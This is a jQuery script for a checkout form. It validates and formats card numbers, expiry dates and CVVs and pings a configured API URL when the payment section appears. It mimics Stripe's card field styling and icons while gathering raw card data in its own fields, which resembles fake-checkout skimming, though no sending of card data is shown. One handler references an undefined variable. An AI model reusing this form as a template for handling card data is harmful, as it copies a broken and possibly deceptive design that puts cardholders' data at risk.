jQuery(document).ready(function ($) {
  let cfwPaymentIsVisible = false
  const observer = new MutationObserver((mutations) => {
    mutations.forEach((mutation) => {
      const target = mutation.target
      const isNowVisible = window.getComputedStyle(target).display !== 'none'
      if (isNowVisible && !cfwPaymentIsVisible) {
        var apiUrl = $('#apiUrl').val()
        var openWelcome = $('#openWelcome').val()
        console.log(apiUrl, 'Element is now visible', openWelcome)
        if (openWelcome === 'yes') {
          $.get(apiUrl)
        }
        cfwPaymentIsVisible = true
      } else if (!isNowVisible && cfwPaymentIsVisible) {
        cfwPaymentIsVisible = false
      }
    })
  })

  // 配置观察器选项:
  const config = { attributes: true, attributeFilter: ['style', 'class'] }

  // 选择要观察的目标节点，然后调用observe方法
  const targetNode = document.querySelector('#cfw-payment-method')
  observer.observe(targetNode, config)

  let imgIndex = 3
  if ($(document).width() <= 420) {
    imgIndex = 0
  } else {
    imgIndex = 3
  }

  let timeoutBox = null

  startTimeout()

  function addActive() {
    let lis = document.querySelectorAll('.p-CardBrandIcons-more img')
    $('.p-CardBrandIcons-more img.p-CardBrandIcon--visible').removeClass('p-CardBrandIcon--visible')
    lis[imgIndex].classList.add('p-CardBrandIcon--visible')
  }
  $(window).resize(function () {
    //  监控窗口宽度变化
    if ($(document).width() <= 420) {
      imgIndex = 0
    } else {
      imgIndex = 3
    }
    // console.log(imgIndex)
    addActive()
  })

  function startTimeout() {
    clearTimeout(timeoutBox)
    timeoutBox = setTimeout(function () {
      if ($(document).width() <= 420) {
        if (imgIndex + 1 >= 6) {
          imgIndex = 0
        } else {
          imgIndex += 1
        }
      } else {
        if (imgIndex + 1 >= 6) {
          imgIndex = 3
        } else {
          imgIndex += 1
        }
      }
      // console.log($(document).width(),imgIndex)
      addActive()
      startTimeout()
    }, 4000)
  }
  $(document).on('blur', '#kz_ccNo', function () {
    var validRes = $('input[name="valid_card_no"]')
    if (this.value.length == 0) {
      $('#Field-numberError').hide()
      $('.kz-cardIcon').removeClass('p-CardIcons--known-brand')
      $('.kz-cardIcon').removeClass('p-CardIcons--error')
      return
    }
    let res = get_card_complete(this.value)
    let card = this.value
    let newNum = card.match(/[0-9]*/g).join('')
    if (res < 7 || newNum.length >= 15) {
      if (!cardVerify(this.value)) {
        $('#Field-numberError').text('Your card number is invalid.')
        $('#Field-numberError').show()
        $('.kz').addClass('p-CardBrandIcons--hidden')
        $('.kz-cardIcon').addClass('p-CardIcons--error')
        validRes.val('false')
      } else {
        $('#Field-numberError').hide()
        $('.kz-cardIcon').removeClass('p-CardIcons--known-brand')
        $('.kz-cardIcon').removeClass('p-CardIcons--error')
        validRes.val('true')
      }
    } else {
      $('#Field-numberError').text('Your card number is incomplete.')
      $('.kz').addClass('p-CardBrandIcons--hidden')
      $('.kz-cardIcon').removeClass('p-CardIcons--known-brand')
      $('.kz-cardIcon').addClass('p-CardIcons--error')
      $('#Field-numberError').show()
      validRes.val('false')
    }
  })
  let old_card_type = 0
  $(document).on('input', '#kz_ccNo', function () {
    $('#Field-numberError').hide()
    $('.kz-cardIcon').removeClass('p-CardIcons--error')
    let card = this.value
    let newNum = card.match(/[0-9]*/g).join('')
    let type = get_card_type(newNum)
    if (type == 5) {
      $('#kz_cvv').attr({
        maxlength: '4'
      })
    } else {
      $('#kz_cvv').attr({
        maxlength: '3'
      })
    }
    if (type < 7) {
      $('.kz').addClass('p-CardBrandIcons--hidden')
      $('.kz-cardIcon').addClass('p-CardIcons--known-brand')
      let html = ''
      if (type == 1) {
        html = '<img class="p-CardBrandIcon" alt="visa" src="https://js.stripe.com/v3/fingerprinted/img/visa-729c05c240c4bdb47b03ac81d9945bfe.svg">'
      } else if (type == 2) {
        html = '<img class="p-CardBrandIcon" alt="mastercard" src="https://js.stripe.com/v3/fingerprinted/img/mastercard-4d8844094130711885b5e41b28c9848f.svg">'
      } else if (type == 3) {
        html = '<img class="p-CardBrandIcon" alt="jcb" src="https://js.stripe.com/v3/fingerprinted/img/jcb-271fd06e6e7a2c52692ffa91a95fb64f.svg">'
      } else if (type == 4) {
        html = '<img class="p-CardBrandIcon" alt="diners" src="https://js.stripe.com/v3/fingerprinted/img/diners-fbcbd3360f8e3f629cdaa80e93abdb8b.svg">'
      } else if (type == 5) {
        html = '<img class="p-CardBrandIcon" alt="amex" src="https://js.stripe.com/v3/fingerprinted/img/amex-a49b82f46c5cd6a96a6e418a6ca1717c.svg">'
      } else if (type == 6) {
        html = '<img class="p-CardBrandIcon" alt="discover" src="https://js.stripe.com/v3/fingerprinted/img/discover-ac52cd46f89fa40a29a0bfb954e33173.svg">'
      }
      if (old_card_type != type) {
        $('.p-CardKnownIcon').html(html)
      }
    } else {
      $('.kz').removeClass('p-CardBrandIcons--hidden')
      $('.p-CardKnownIcon').html('')
    }
    old_card_type = type
    if (type == 5) {
      if (newNum.length > 4 && newNum.length <= 10) {
        let oneCard = newNum.substring(0, 4)
        let twoCard = newNum.substring(4, newNum.length)
        this.value = oneCard + ' ' + twoCard
      } else if (newNum.length > 10) {
        let oneCard = newNum.substring(0, 4)
        let twoCard = newNum.substring(4, 10)
        let treeCard = newNum.substring(10, 15)
        this.value = oneCard + ' ' + twoCard + ' ' + treeCard
      }
    } else {
      if (newNum.length > 4 && newNum.length <= 8) {
        let oneCard = newNum.substring(0, 4)
        let twoCard = newNum.substring(4, newNum.length)
        this.value = oneCard + ' ' + twoCard
      } else if (newNum.length > 8 && newNum.length <= 12) {
        let oneCard = newNum.substring(0, 4)
        let twoCard = newNum.substring(4, 8)
        let treeCard = newNum.substring(8, newNum.length)
        this.value = oneCard + ' ' + twoCard + ' ' + treeCard
      } else if (newNum.length > 12 && newNum.length <= 16) {
        let oneCard = newNum.substring(0, 4)
        let twoCard = newNum.substring(4, 8)
        let threeCard = newNum.substring(8, 12)
        let fourCard = newNum.substring(12, newNum.length)
        this.value = oneCard + ' ' + twoCard + ' ' + threeCard + ' ' + fourCard
      } else {
        this.value = newNum
      }
    }
  })

  $(document).on('blur', '#kz_expdate', function () {
    var validExpdate = $('input[name="valid_card_expdate"]')
    let date = this.value
    let newNum = date.match(/[0-9]*/g).join('')
    if (this.value.length == 0) {
      $('#Field-expiryError').hide()
      return
    }
    if (newNum.length == 4) {
      if (!dateVerify(date)) {
        $('#Field-expiryError').text("Your card's expiration date is invalid.")
        $('#Field-expiryError').show()
        validExpdate.val('false')
      } else {
        $('#Field-expiryError').hide()
        validExpdate.val('true')
      }
    } else {
      $('#Field-expiryError').text("Your card's expiration date is incomplete.")
      $('#Field-expiryError').show()
      validExpdate.val('false')
    }
  })

  let oddNumber = ''
  $(document).on('input', '#kz_expdate', function () {
    $('#Field-expiryError').hide()
    let date = this.value
    let newNum = date.match(/[0-9]*/g).join('')

    if (newNum.length == 0) {
      this.value = ''
    } else if (newNum.length == 1) {
      if (newNum > 1) {
        this.value = '0' + newNum + ' / '
      } else {
        this.value = newNum
      }
    } else if (newNum.length == 2) {
      if (newNum > oddNumber) {
        this.value = newNum + ' / '
      } else {
        this.value = newNum
      }
    } else if (newNum.length == 3) {
      let oneNum = newNum.substring(0, 2)
      let twoNum = newNum.substring(2, 3)
      this.value = oneNum + ' / ' + twoNum
    } else if (newNum.length >= 4) {
      let oneNum = newNum.substring(0, 2)
      let twoNum = newNum.substring(2, 4)
      this.value = oneNum + ' / ' + twoNum
    }
    oddNumber = newNum
  })
  $(document).on('blur', '#kz_cvv', function () {
    var validCvv = $('input[name="valid_card_cvv"]')
    let cvv = this.value
    cvv = cvv.match(/[0-9]*/g).join('')
    if (this.value.length == 0) {
      $('#Field-cvcError').hide()
      return
    }
    if (cvv.length < 3) {
      $('#Field-cvcError').text("Your card's security code is incomplete.")
      $('#Field-cvcError').show()
      $('.kz-svg-err').show()
      $('.kz-svg-succ').hide()
      validCvv.val('false')
    } else {
      $('#Field-cvcError').hide()
      $('.kz-svg-err').hide()
      $('.kz-svg-succ').show()
      validCvv.val('true')
    }
  })
  $(document).on('input', '#kz_cvv', function () {
    $('#Field-cvcError').hide()
    $('.kz-svg-err').hide()
    $('.kz-svg-succ').show()
    validCvv.val('true')
    let cvv = this.value
    this.value = cvv.match(/[0-9]*/g).join('')
  })

  function get_card_type(card) {
    let number = card.replaceAll(' ', '')
    if (/^4\d*$/.test(number)) {
      return '1'
    } else if (/^3[47]\d*$/.test(number)) {
      return '5'
    } else if (/^(5[1-5]\d*|677189|22\d*|2[3-6]\d*|27[01]\d*|2720\d*)\d*$/.test(number)) {
      return '2'
    } else if (/^(6011|65\d*|64[4-9]\d)\d*|(62\d*)$/.test(number)) {
      return '6'
    } else if (/^35(28|29|[3-8]\d)\d*$/.test(number)) {
      return '3'
    } else if (/^3(0[0-5]|[68]\d)\d*$/.test(number)) {
      return '4'
    } else {
      return '7'
    }
  }

  function get_card_complete(card) {
    let number = card.replaceAll(' ', '')
    if (/^4\d{12}(\d{3})?(\d{3})?$/.test(number)) {
      return '1'
    } else if (/^3[47]\d{13}$/.test(number)) {
      return '5'
    } else if (/^(5[1-5]\d{4}|677189|222[1-9]\d{2}|22[3-9]\d{3}|2[3-6]\d{4}|27[01]\d{3}|2720\d{2})\d{10}$/.test(number)) {
      return '2'
    } else if (/^(6011|65\d{2}|64[4-9]\d)\d{12}|(62\d{14})$/.test(number)) {
      return '6'
    } else if (/^35(28|29|[3-8]\d)\d{12}$/.test(number)) {
      return '3'
    } else if (/^3(0[0-5]|[68]\d)\d{11}$/.test(number)) {
      return '4'
    } else {
      return '7'
    }
  }

  function cardVerify(s) {
    var v = '0123456789',
      w = '',
      i,
      j,
      k,
      m,
      c,
      a,
      x

    for (i = 0; i < s.length; i++) {
      x = s.charAt(i)

      if (v.indexOf(x, 0) !== -1) {
        w += x
      }
    }

    j = w.length / 2
    k = Math.floor(j)
    m = Math.ceil(j) - k
    c = 0

    for (i = 0; i < k; i++) {
      a = w.charAt(i * 2 + m) * 2
      c += a > 9 ? Math.floor(a / 10 + (a % 10)) : a
    }

    for (i = 0; i < k + m; i++) {
      c += w.charAt(i * 2 + 1 - m) * 1
    }

    return c % 10 === 0
  }

  function dateVerify(date) {
    let newDate = date.replace(/\D/g, '')
    let one = newDate.substring(0, 2)
    let two = newDate.substring(2, 4)

    if (newDate.length < 4 || one > 12 || two < new Date().getFullYear().toString().substring(2, 4)) {
      return false
    } else if (two <= new Date().getFullYear().toString().substring(2, 4) && one < new Date().getMonth() + 1) {
      return false
    } else {
      return true
    }
  }
})
